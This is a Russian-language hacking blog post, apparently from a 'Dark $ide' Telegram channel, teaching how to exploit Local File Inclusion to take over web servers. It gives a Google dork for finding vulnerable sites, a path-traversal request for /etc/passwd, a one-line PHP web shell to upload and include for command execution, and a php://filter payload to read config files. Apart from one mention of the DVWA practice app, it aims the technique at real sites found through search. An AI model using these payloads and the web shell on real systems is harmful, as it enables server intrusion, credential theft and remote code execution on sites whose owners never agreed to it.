September 14, 2019

Local File Inclusion - Захвати сервер. {Взлом}

teleg.one/darkside_team

Привет, хацкер, наконец то у меня появилось свободное время, которое я посвятил этой статье. Сегодня мы научимся использовать LFI уязвимость для получения контроля над сайтом. Поехали!

Local File Inclusion - Захвати сервер.

Что такое Local File Inclusion?

LFI - это возможность использования и выполнения локальных файлов на серверной стороне. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе содержащую конфиденциальную информацию.

Проще говоря, это уязвимость открытия файлов с сервера + недостаточная фильтрация, что позволяет открывать произвольный файл.

Как найти уязвимость?

Используя гугл, конечно же! (об этом подробнее тут)

Дорк для поиска уязвимости выглядит примерно таким образом:

inurl: page?=.php

Теперь мы проверим возможность этой уязвимости. Для этого мы меняем URL таким образом:

https://www.site.com/index.php?page=../../../../../../../../etc/passwd

Выше приведена попытка отобразить содержимое файла / etc / passwd в системе на основе UNIX / Linux. Соответственно мы пробуем пробиться на сервак. И если видим что то подобное, то вероятность уязвимости повышается в разы:

Самое время получить полный доступ к серверу. Для этого мы превратим уязвимость LFI в Code Execution.

Если есть форма загрузки файла, и вы можете загружать php-файлы - или обходить проверки безопасности имени файла - тогда вы можете включить свой загруженный файл с помощью уязвимости LFI, если вы знаете путь до загруженных файлов. Давайте посмотрим на пример.

Мы создаем файл с именем exploit.php . Содержимое файла - обычный php скрипт:

<?php
system($_GET[‘cmd’]);
?>

В этом примере мы будем использовать задачу загрузки файлов DVWA:

Как мы видим, веб-приложение сообщает нам о пути загрузки.

В случае, если путь до файла не указывается, мы должны попытаться перебрать путь брутом или использовать стандартные каталоги, используемые популярными CMS движками.

Как вы уже видели, LFI-атаки не ограничивают наши возможности только чтением файлов.

Если мы подумаем, мы умно сможем получить удаленную оболочку для уязвимого сервера.

Конечно, неправильно настроенный сервер - то есть, неправильные права доступа к файлу - всегда помогут нам достичь этой цели.

Если вы не можете получить доступ к серверу любым из предыдущих способов, вот совет:

С LFI вы можете просматривать содержимое любого файла PHP, который вы хотите. Вы можете сделать это, выполнив « php: //filter/read=convert.base64-encode/resource=FILETOREAD » после параметра файла в URL. Вот пример:

www.example.com/open.php?file= php: //filter/read=convert.base64-encode/resource=../../config.php

Здесь мы можем увидеть содержимое файла index.php.

Это вернет содержимое файла index.php вместо того, чтобы включать его, что аналогично его выполнению. Вывод будет в Base64 и, следовательно, вам нужно будет его декодировать.

На этом всё, удачи тебе, %Wh0_U_4R3?%

Dark $ide -- Твоя Тёмная Сторона.

///revolution is coming///